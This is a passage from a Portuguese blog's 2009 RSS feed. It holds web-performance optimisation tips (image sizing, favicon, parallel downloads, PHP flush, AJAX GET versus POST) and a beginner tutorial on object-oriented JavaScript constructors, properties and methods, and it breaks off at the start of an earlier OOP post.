<p>Uma pergunta que se faz muitas vezes é se os ficheiros JavaScript e os ficheiros CSS devem estar em ficheiros à parte ou na própria página.  Utilizar ficheiros externos torna as páginas mais rápidas porque os ficheiros ficam na cache do browser equanto que se estiverem na página são descarregados sempre que é feito um pedido do documento, assim, ao utilizar ficheiros externos, reduz-se o tamanho da página mas aumenta-se o número de pedidos HTTP, contudo, os ficheiros externos ficam na cache do browser, logo diminui-se os pedidos HTTP e o tamanho da página utilizando ficheiros externos.  Além da optimização da página, utilizar ficheiros externos torna o código mais estruturado, mais fácilmente editável e mais limpo sendo então uma boa prática para manutenção da página.</p>
<h2>Imagens</h2>
<p>Os designs mais eye-candy com a utilização de vários icons para descrever serviços, os efeitos dos fundos, dos headers, dos footers, etc. utilizam bastantes imagens, maiores ou menores mas que, de qualquer modo, levam a que o tempo de carregamento da página seja maior.  E o que há fazer? São só imagens&#8230; Há alguns truques que podem ser utilizados para aumentar a velocidade de carregamento de imagens.</p>
<h3>Não redimensione imagens em HTML!</h3>
<p>Este ponto é de facto importante, muitas vezes carregam-se imagens, imaginemos, de 500x500px e depois em HTML definem-se medidas menores, isto é desnecessário e vai obrigar a que uma imagem maior seja carregada em vez de uma menor. Ou seja, em vez de se fazer algo assim</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;img src=&quot;image.png&quot; alt=&quot;Imagem xpto&quot; width=&quot;50px&quot; height=&quot;50px&quot; /&gt;</pre></div></div>

<p>com a imagem image.png a ter um tamanho de 500x500px deve-se ter</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;img src=&quot;image.png&quot; alt=&quot;Imagem xpto&quot; /&gt;</pre></div></div>

<p>tendo a imagem image.png o tamanho de 50x50px.</p>
<p>É também importante manter sempre as dimensões da imagem mesmo quando ela é exacta, isto é, no caso anterior mesmo já tendo a imagem 50x50px como queremos devemos indicar width=&#8221;50px&#8221; height=&#8221;50px&#8221; porque deste modo o browser não tem de &#8220;medir&#8221; a imagem antes de a colocar na página ficando então da seguinte forma:</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">&lt;img src=&quot;image.png&quot; alt=&quot;Imagem xpto&quot; width=&quot;50px&quot; height=&quot;50px&quot; /&gt;</pre></div></div>

<p>Obrigado ao <a href="http://sergiolopes.name/" target="_blank">Sérgio Dinis Lopes</a> pela dica.</p>
<h3>favicon.ico pequeno e armazenável em cache</h3>
<p>O favicon.ico é uma pequena imagem que se encontra na raíz do servidor (normalmente).  É muitas vezes um problema porque mesmo não existindo o browser vai fazer um request à sua procura por isso é sempre bom ter uma para não se responder com um erro <a title="Descrição do Erro 404 Not Found" href="http://en.wikipedia.org/wiki/404_error" target="_blank">404 Not Found</a>.  Esta pequena imagem interfere também com a sequência de carregamento da página por exemplo no browser Internet Explorer enquanto que os scripts, css, imagens, etc são pedidos no onload event o favicon é pedido antes. <span style="text-decoration: underline;">Sugestões:</span></p>
<ul>
<li>Pequeno, de preferência com um máximo de ~1K (exemplos: wikipedia 318 bytes; google 1150 bytes; twitter 1406 bytes; wordpress 1150 bytes);</li>
<li>Defina o parâmetro Expires com um valor que ache mais correcto (4 meses é um valor aceitável tendo em conta que não se muda de favicon ferquentemente);</li>
</ul>
<h3>Escolher o Formato Correcto para as Imagens</h3>
<p>Existem vários formatos de imagens utilizados na construção de páginas web, entre elas destacam-se os formatos <a title="Mais Informações sobre o formato GIF" href="http://pt.wikipedia.org/wiki/Graphics_Interchange_Format" target="_blank">gif</a>, <a title="Mais Informações sobre o formato JPEG" href="http://www.w3.org/Graphics/JPEG/" target="_blank">jpeg</a>, <a title="Mais Informações sobre o formato PNG" href="http://www.w3.org/Graphics/PNG/" target="_blank">png</a> e é importante escolher para cada imagem qual o formato que melhor se lhe adequa fazendo com que imagens com menos pormenores, menos cores, etc. utilizem formatos mais leves (<a title="Página para ajudar na escolha dos Formatos de Imagem" href="http://www.yourhtmlsource.com/images/fileformats.html" target="_blank">ver mais informações aqui</a>).</p>
<h3>Leitura complementar:</h3>
<ul>
<li><a title="Image Optimization: Four Steps to File Size Reduction" href="http://yuiblog.com/blog/2008/11/14/imageopt-3/" target="_blank">Four Steps to File Size Reduction</a> por Stoyan Stefanov</li>
<li><a title="Image Optimization: Progressive JPEG…Hot or Not?" href="http://yuiblog.com/blog/2008/12/05/imageopt-4/" target="_blank">Progressive JPEG…Hot or Not?</a> por Stoyan Stefanov</li>
<li><a title="Host Images Files on Amazon S3 Storage" href="http://www.labnol.org/internet/host-images-files-on-amazon-s3-storage/" target="_blank">Alojar Imagens na Amazon</a> por Amit Agarwal</li>
</ul>
<h2>Server-Side</h2>
<p>Nos tempos de carregamento também interferem as acções do lado do servidor e por isso é necessário optimizar essas acções o máximo possível.</p>
<h3>Descarregar o buffer de saída mais cedo</h3>
<p>Quando uma página é pedida existe um intervalo de tempo em que o browser espera que o servidor junte o HTML e o envie para o browser. Durante este tempo o browser está inactivo à espera da resposta. A linguagem de programação <a title="PHP" href="http://www.php.net" target="_blank">PHP</a> tem uma função chamada <a title="PHP Função: Flush" href="http://pt2.php.net/manual/pt_BR/function.flush.php">flush</a> que permite que sejam enviadas respostas para o browser particionadas permitindo ao browser começar logo a carregar as informações recebidas enquanto o servidor continua a gerar o resto do HTML.</p>
<h3>Downloads em Paralelo</h3>
<p><span style="font-size: xx-small;">(imagens utilizadas neste subcapitulo retiradas <a title="Maximizing Parallel Downloads in the Carpool Lane" href="http://yuiblog.com/blog/2007/04/11/performance-research-part-4/" target="_blank">daqui</a>)</span></p>
<p style="text-align: left;">A especificação <a title="HTTP1/1" href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec8.html#sec8.1.4" target="_blank">HTTP/1.1</a> sugere que os browsers façam apenas dois downloads em paralelo de cada dominio assim caso todos os componentes estejam no mesmo dominio só poderão ser feitos dois downloads de cada vez aumentando muito o tempo que uma página demora a carregar.</p>
<blockquote>
<p style="text-align: left;">Clients that use persistent connections SHOULD limit the number of simultaneous connections that they maintain to a given server. A single-user client SHOULD NOT maintain more than 2 connections with any server or proxy.</p>
</blockquote>
<p style="text-align: center;"><img class="size-medium wp-image-253 aligncenter" title="Dois Downloads em Paralelo" src="http://joaopedropereira.com/blog/wp-content/uploads/2009/04/two_parallel-300x192.gif" alt="Dois Downloads em Paralelo" width="300" height="192" /></p>
<p>Neste exemplo, estão representados 10 componentes extra na nossa página que precisam de ser descarregados, então se criarmos subdominios conseguimos optimizar o download dos componentes colocando-os a ser descarregados em paralelo.  Apesar de se poderem adicionar quantos sub-dominios quiserem às páginas não se devem utilizar mais do que 2-4 dominios devido ao tempo que demora a fazer a correspondência nos DNS (hostname &lt;-&gt; IP) e esta demora, normalmente, entre 20 e 120 millisegundos, enquanto isto acontece o browser não descarrega nada do dominio em questão.  E então como resolver a situação? O HTML fica no main-domain http://joaopedropereira.com/ e podem ser criados entre dois e quatro sub-dominios para as imagens content1.joaopedropereira.com e content2.joaopedropereira.com e (sub-dominios apenas com fins ilustrativos). <img class="aligncenter size-medium wp-image-258" title="Four Parallel Downloads" src="http://joaopedropereira.com/blog/wp-content/uploads/2009/04/four_parallel-300x192.gif" alt="Four Parallel Downloads" width="300" height="192" /> Assim conseguimos optimizar o tempo de carregamento das imagens e scripts da página. Neste exemplo foi possível poupar algum tempo, quanto mais scripts e imagens existirem mais diferença se fará notar no tempo de carregamento da página.</p>
<h4>Leitura Complementar</h4>
<ul>
<li><a title="Maximizing Parallel Downloads" href="http://yuiblog.com/blog/2007/04/11/performance-research-part-4/" target="_blank">Maximizing Parallel Downloads</a></li>
<li><a title="Host Images Files on Amazon S3 Storage" href="http://www.labnol.org/internet/host-images-files-on-amazon-s3-storage/" target="_blank">Alojar Imagens na Amazon</a> por Amit Agarwal</li>
<li><a title="Optimize Parallel Downloads to Minimize Object Overhead" href="http://www.websiteoptimization.com/speed/tweak/parallel/" target="_blank">Optimize Parallel Downloads to Minimize Object Overhead</a></li>
</ul>
<h3>Utilizar o método GET ou POST em AJAX?</h3>
<p>Ao utilizar XMLHttpRequest, o método POST consiste em dois processos separados de envio de informações, primeiro envia os cabeçalhos e só depois envia a informação enquanto que o método GET envia a informação de uma só vez (excepto se existirem muitos cookies).  Existe também limite no envio de informações utilizando o método GET pois este não foi feito para enviar grandes quantidades de informações.  Tal como os nomes indicam o método GET foi desenhado para pedir informações ao servidor enquanto que o método POST foi desenhado para enviar informações para o servidor.  Então qual deles escolher?  Na verdade não existe um melhor, existem dois métodos diferentes para situações diferentes e o que é melhor em determinada situação pode não o ser numa outra situação diferente. Então é necessário avaliar cada caso e escolher qual o método mais apropriado.</p>
<h4>Leitura Complementar</h4>
<ul>
<li><a title="Ajax: Get or Post" href="http://javascript.about.com/od/ajax/a/ajaxgp.htm" target="_blank">Ajax: Get or Post</a> por Stephen Chapman</li>
</ul>
<h2>Quer saber mais?</h2>
<p>Existem mais maneiras de optimizar um website mas que podem ser mais complexas ou mais dispendiosas, mas vou aqui deixar links para quem quiser estudar mais sobre este tema.</p>
<ul>
<li><a title="High Performance Web Sites" href="http://oreilly.com/catalog/9780596529307/preview.html" target="_blank">High Performance Web Sites</a> por Steve Souders</li>
<li><a title="How To Optimize Your Site With GZIP Compression" href="http://betterexplained.com/articles/how-to-optimize-your-site-with-gzip-compression/" target="_blank">How To Optimize Your Site With GZIP Compression</a></li>
</ul>
<div class="shr-publisher-178"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2009%2F04%2F03%2Foptimizacao-websites%2F' data-shr_title='Diminuir+Load+Times+no+Carregamento+de+P%C3%A1ginas+Web'></a><a class='shareaholic-fbsend' data-shr_href='http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2009%2F04%2F03%2Foptimizacao-websites%2F'></a><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2009%2F04%2F03%2Foptimizacao-websites%2F' data-shr_title='Diminuir+Load+Times+no+Carregamento+de+P%C3%A1ginas+Web'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
			<wfw:commentRss>http://joaopedropereira.com/blog/2009/04/03/optimizacao-websites/feed/</wfw:commentRss>
		<slash:comments>16</slash:comments>
		</item>
		<item>
		<title>JavaScript OOP #2 &#8211; Conceitos Básicos</title>
		<link>http://joaopedropereira.com/blog/2009/03/14/js-oop-conceitos-basicos/</link>
		<comments>http://joaopedropereira.com/blog/2009/03/14/js-oop-conceitos-basicos/#comments</comments>
		<pubDate>Sat, 14 Mar 2009 13:42:40 +0000</pubDate>
		<dc:creator>João Pedro Pereira</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Webdevelopment]]></category>
		<category><![CDATA[construtores]]></category>
		<category><![CDATA[Objectos]]></category>
		<category><![CDATA[OOP]]></category>
		<category><![CDATA[poo]]></category>
		<category><![CDATA[Programação]]></category>
		<category><![CDATA[Propriedades]]></category>

		<guid isPermaLink="false">http://joaopedropereira.com/blog/?p=125</guid>
		<description><![CDATA[Como criar construtores em JavaScript, definir propriedades/atributos bem como métodos.]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2009%2F03%2F14%2Fjs-oop-conceitos-basicos%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2009%2F03%2F14%2Fjs-oop-conceitos-basicos%2F&amp;source=joaoppereira&amp;style=normal&amp;service=bit.ly&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>Neste artigo relativo a JavaScript Orientado a Objectos vamos abordar a programação orientada a objectos de uma forma mais <em>soft</em> explicando a todos os que nunca viram POO (Programação Orientada a Objectos) em JavaScript, os conceitos básicos.</p>
<h2>Criando Construtores</h2>
<p>Em JavaScript, um construtor é nada mais que uma função comum, que é instanciada numa variável. Essa instância cria-se através da palavra reservada <em>new</em>, indicando a criação de um novo objecto.</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">function</span> MyFunction<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><span style="color: #009900;">&#125;</span>
<span style="color: #003366; font-weight: bold;">var</span> MyVar <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> MyFunction<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<h2>Definir Propriedades</h2>
<p>Propriedades, ou também conhecidas como atributos, são dados que ficam encapsulados no escopo do objecto com que são relaccionadas.</p>
<p>Utilizemos um exemplo mais comum  e menos abstracto como por exemplo as caracteristicas de uma pessoa.</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">function</span> Individuo<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #000066; font-weight: bold;">return</span> <span style="color: #000066; font-weight: bold;">this</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #003366; font-weight: bold;">var</span> eu <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> Individuo<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
eu.<span style="color: #660066;">nome</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;João Pedro Pereira&quot;</span><span style="color: #339933;">;</span>
eu.<span style="color: #660066;">altura</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;186&quot;</span><span style="color: #339933;">;</span></pre></div></div>

<p>No código acima, definimos um nome e uma altura apenas ao objecto eu. Qualquer outro objecto criado a partir de Individuo não terá essa propriedade. Podemos ver a utilidade disto quando precisamos de dar caracteristicas mais restrictas ao objecto. No entanto, caso estejamos a falar de caracteristicas que serão comuns a todos os objectos ai já será mais dispendioso fazê-lo desta forma, mas felizmente existem alternativas.</p>
<p><span id="more-125"></span></p>
<p>Imaginemos que estamos a falar de apenas de individuos portugueses. Seguindo o método mostrado anteriormente ficaria algo do género</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">var</span> eu <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> Individuo<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
eu.<span style="color: #660066;">nome</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;João Pedro Pereira&quot;</span><span style="color: #339933;">;</span>
eu.<span style="color: #660066;">altura</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;186&quot;</span><span style="color: #339933;">;</span>
eu.<span style="color: #660066;">pais</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;Portugal&quot;</span><span style="color: #339933;">;</span></pre></div></div>

<p>Mas para cada individuo criado teriamos de introduzir o país, e se é sempre o mesmo qual o interesse? Podemos antes usar outra abordagem.</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">function</span> Individuo<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">pais</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;Portugal&quot;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Assim todos os individuos criados têm a propriedade (atributo) país definida como Portugal. Mas imaginemos, que afinal vão existir um ou outro individuo na nossa lista que o seu país não é Portugal. Como proceder?</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">var</span> eu <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> Individuo<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #003366; font-weight: bold;">var</span> outro<span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> Individuo<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
outro.<span style="color: #660066;">pais</span> <span style="color: #339933;">=</span> <span style="color: #3366CC;">&quot;Brasil&quot;</span><span style="color: #339933;">;</span></pre></div></div>

<p>Se fizermos a verificação da seguinte forma:</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span>outro.<span style="color: #660066;">pais</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span>eu.<span style="color: #660066;">pais</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p><script type="text/javascript"><!--
function comprova_human() {
function Individuo() {
this.pais = "Portugal";
}
var eu = new Individuo();
var outro= new Individuo();
outro.pais = "Brasil";
alert(outro.pais);
alert(eu.pais);
}
// --></script></p>
<p>Podemos comprovar que o objecto eu, terá a propriedade pais com o valor de Portugal e o objecto outro terá a propriedade pais com o valor Brasil. <a href="javascript:comprova_human();">Veja o comportamento</a>.</p>
<p>Existem algumas propriedades / atributos que interessam ser dados ao nosso objecto logo quando ele é criado como por exemplo o nome (nesta caso concreto). E então podemos passar essa propriedade logo quando criamos o objecto. Mas para isso a nossa função vai ter de estar preparada para receber essas propriedades quando o objecto é criado. Então teremos de construir a nossa função algo semelhante a isto:</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">function</span> Individuo<span style="color: #009900;">&#40;</span>meu_nome<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">nome</span> <span style="color: #339933;">=</span> meu_nome<span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>E então quando criarmos o objecto daremos o nome ao individuo assim:</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">var</span> eu <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> Individuo<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;João Pedro Pereira&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>No exemplo anterior só foi passado uma propriedade mas podem ser passadas quantas quisermos por exemplo:</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">function</span> Individuo<span style="color: #009900;">&#40;</span>meu_nome<span style="color: #339933;">,</span> meu_pais<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">nome</span> <span style="color: #339933;">=</span> meu_nome<span style="color: #339933;">;</span>
<span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">pais</span> <span style="color: #339933;">=</span> meu_pais<span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #003366; font-weight: bold;">var</span> eu <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> Individuo<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;João Pedro Pereira&quot;</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">&quot;Portugal&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<h2>Definir Métodos</h2>
<p>Tal como as propriedade / atributos (falados no capitulo anterior) é possível adicionar métodos a cada objecto, ou seja comportamentos (popularmente falando) e não passam de funções que são exectuadas no escopo do objecto ao qual estão atribuidos.</p>
<p>Vamos agora passar para um robot, vamos criar um pequeno robot.</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">function</span> Robot<span style="color: #009900;">&#40;</span>nome<span style="color: #339933;">,</span> versao<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">id</span> <span style="color: #339933;">=</span> nome<span style="color: #339933;">;</span>
<span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">version</span> <span style="color: #339933;">=</span> versao<span style="color: #339933;">;</span>
<span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">talk</span> <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span>message<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span>message<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #003366; font-weight: bold;">var</span> robot <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> Robot<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;Basic&quot;</span><span style="color: #339933;">,</span> <span style="color: #3366CC;">&quot;2.0&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
robot.<span style="color: #660066;">talk</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;Olá eu sou um robot&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p><script type="text/javascript"><!--
function comprova_robot() {
function Robot(nome, versao) {
this.id = nome;
this.version = versao;
this.talk = function(message) {alert(message);}
}
var robot = new Robot("Basic", "2.0");
robot.talk("Olá eu sou um robot");
}
// --></script></p>
<p><a href="javascript:comprova_robot();">Visualizar comportamento</a>.</p>
<p>Para quem utiliza libs como jQuery (por exemplo) começa a compreender como é que funcionam as coisas.</p>
<p>Só para brincar um bocadinho com isto vamos ver o comportamento com uma verificação..</p>

<div class="wp_syntax"><div class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #003366; font-weight: bold;">function</span> Robot<span style="color: #009900;">&#40;</span>nome<span style="color: #339933;">,</span> versao<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">id</span> <span style="color: #339933;">=</span> nome<span style="color: #339933;">;</span>
<span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">version</span> <span style="color: #339933;">=</span> versao<span style="color: #339933;">;</span>
<span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">talk</span> <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span>message<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #000066; font-weight: bold;">if</span><span style="color: #009900;">&#40;</span>message <span style="color: #339933;">==</span> <span style="color: #3366CC;">&quot;introduce&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;Olá, o meu nome é &quot;</span> <span style="color: #339933;">+</span> <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">id</span> <span style="color: #339933;">+</span> <span style="color: #3366CC;">&quot; e estou na versão &quot;</span> <span style="color: #339933;">+</span> <span style="color: #000066; font-weight: bold;">this</span>.<span style="color: #660066;">version</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span> <span style="color: #000066; font-weight: bold;">else</span> <span style="color: #009900;">&#123;</span>
<span style="color: #000066;">alert</span><span style="color: #009900;">&#40;</span>message<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #003366; font-weight: bold;">var</span> robot <span style="color: #339933;">=</span> <span style="color: #003366; font-weight: bold;">new</span> Robot<span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;Basic&quot;</span><span style="color: #339933;">,</span> <span style="color: #CC0000;">2.0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
robot.<span style="color: #660066;">talk</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">&quot;introduce&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p><script type="text/javascript"><!--
function comprova_robot_complex() {
function Robot(nome, versao) {
this.id = nome;
this.version = versao;
this.talk = function(message) {
if(message == "introduce") {
alert("Olá, o meu nome é " + this.id + " e estou na versão " + this.version);
} else {
alert(message);
}
}
}
var robot = new Robot("Basic", 2.0);
robot.talk("introduce");
}
// --></script></p>
<p><a href="javascript:comprova_robot_complex();">Quem és Robot?</a></p>
<p>Espero que tenha gostado do post, qualquer sugestão é bem vinda. Têm de seguida links para complementar a leitura deste artigo. No próximo post falarei de encapsulamento (uma funcionalidade não existente no JavaScript mas é possível criar um recurso idêntico.</p>
<h2>Leitura Complementar</h2>
<ul>
<li><a title="JavaScript OOP #1" href="http://joaopedropereira.com/blog/2009/01/13/javascript-oop-1/">JavaScript OOP #1</a></li>
<li><a title="Aprender JavaScript" href="http://www.revista-programar.info/front/edition/4">Aprender JavaScript #1</a></li>
<li><a title="Aprender JavaScript" href="http://www.revista-programar.info/front/edition/5">Aprender JavaScript #2</a></li>
</ul>
<div class="shr-publisher-125"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2009%2F03%2F14%2Fjs-oop-conceitos-basicos%2F' data-shr_title='JavaScript+OOP+%232+-+Conceitos+B%C3%A1sicos'></a><a class='shareaholic-fbsend' data-shr_href='http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2009%2F03%2F14%2Fjs-oop-conceitos-basicos%2F'></a><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2009%2F03%2F14%2Fjs-oop-conceitos-basicos%2F' data-shr_title='JavaScript+OOP+%232+-+Conceitos+B%C3%A1sicos'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
			<wfw:commentRss>http://joaopedropereira.com/blog/2009/03/14/js-oop-conceitos-basicos/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>JavaScript OOP #1</title>
		<link>http://joaopedropereira.com/blog/2009/01/13/javascript-oop-1/</link>
		<comments>http://joaopedropereira.com/blog/2009/01/13/javascript-oop-1/#comments</comments>
		<pubDate>Tue, 13 Jan 2009 12:04:57 +0000</pubDate>
		<dc:creator>João Pedro Pereira</dc:creator>
				<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[Webdevelopment]]></category>
		<category><![CDATA[Herança]]></category>
		<category><![CDATA[Métodos]]></category>
		<category><![CDATA[Objectos]]></category>
		<category><![CDATA[OOP]]></category>
		<category><![CDATA[Propriedades]]></category>
		<category><![CDATA[prototype]]></category>

		<guid isPermaLink="false">http://joaopedropereira.com/blog/?p=31</guid>
		<description><![CDATA[Uma linguagem que poucos sabem abordar a nível de Programação Orientada a Objectos (OOP &#8211; Oriented Object Programming) é o JavaScript e por isso pretendo fazer uma breve abordagem a este tema. Não irei fazer uma introdução sobre o que é a Programação Orientada a Objectos por isso é aconselhável que o leitor tenha as [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div class="tweetmeme_button" style="float: left; margin-right: 10px;">
			<a href="http://api.tweetmeme.com/share?url=http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2009%2F01%2F13%2Fjavascript-oop-1%2F"><br />
				<img src="http://api.tweetmeme.com/imagebutton.gif?url=http%3A%2F%2Fjoaopedropereira.com%2Fblog%2F2009%2F01%2F13%2Fjavascript-oop-1%2F&amp;source=joaoppereira&amp;style=normal&amp;service=bit.ly&amp;b=2" height="61" width="50" /><br />
			</a>
		</div>
<p>Uma linguagem que poucos sabem abordar a nível de Programação Orientada a Objectos (OOP &#8211; Oriented Object Programming) é o JavaScript e por isso pretendo fazer uma breve abordagem a este tema. Não irei fazer uma introdução sobre o que é a Programação Orientada a Objectos por isso é aconselhável que o leitor tenha as noções bases de utilização desta técnica, bem como que tenha uma noção básica da linguagem de programação abordada.</p>
<p>A linguagem JavaScript tem um estilo bastante particular no que toca a Programação Orientada a Objectos, não é uma sintaxe dificil de aprender mas comporta-se de forma diferente do que os programadores de linguagens compiladas como o Java ou o C++ estão habituados.<br />
